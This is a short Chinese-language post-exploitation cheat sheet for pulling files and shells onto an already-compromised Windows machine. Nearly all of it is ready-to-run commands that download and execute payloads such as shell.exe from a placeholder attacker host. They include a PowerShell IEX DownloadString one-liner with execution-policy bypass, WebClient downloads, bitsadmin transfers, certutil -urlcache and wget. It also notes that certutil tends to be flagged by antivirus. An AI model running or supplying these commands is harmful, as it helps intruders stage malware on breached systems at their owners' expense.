有时候拿下一台机器的控制权,需要在这台主机上传一些东西;有时候也会碰到不能直接上传只能通过命令行执行的shell,这就需要将shell下载下来。
目录
利用powershell进行文件上传下载
# 下载脚本并在内存中执行
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/xxx.ps1')"
# 下载文件到指定目录
powershell (new-object system.net.webclient).downloadfile('http://xxx.xxx.xxx.xxx/shell.exe','d:/test.exe')
# 下载文件到当前目录
powershell (new-object system.net.webclient).downloadfile('http://xxx.xxx.xxx.xxx/test.exe','test.exe')
利用bitsadmin命令进行文件下载
bitsadmin是Windows自带工具(Windows7之后),可以用来进行文件下载,Windows的自动更新和补丁之类下载就是用这个工具来实现的。而且bitsadmin可以在网络不稳定的状态下下载文件,出错会自动重新加载重试。
如下命令,将位于外网文件下载到目标主机上
bitsadmin /transfer <任务名> <remote_url> <local_name>
bitsadmin /transfer shell http://xxx.xxx.xxx.xxx/shell.exe c:\users\tester\shell.exe
// 保存文件的文件路径必须是已经存在的有权限的目录,否则不能下载。
加载速度过慢也可以设置任务优先级
先执行:
start bitsadmin /transfer <任务名> http://xxx.xxx.xxx.xxx/shell.exe c:\users\tester\shell1.exe
再执行:
bitsadmin /setpriority <对应任务名> foreground
利用certutil命令上传下载文件
在Windows7及其以后的机器都可以使用,但该命令容易被杀软查杀。
certutil -urlcache -split -f http://xxx.xxx.xxx.xxx/shell.exe c:/users/tester/shell.exe // 下载文件到指定目录下
利用wget命令上传下载文件
wget -O c:/users/tester/shell.exe http://xxx.xxx.xxx.xxx/shell.exe // 下载文件到指定目录并指定了文件
wget -P c:/users/tester/ http://xxx.xxx.xxx.xxx/shell.exe // 下载文件到指定目录下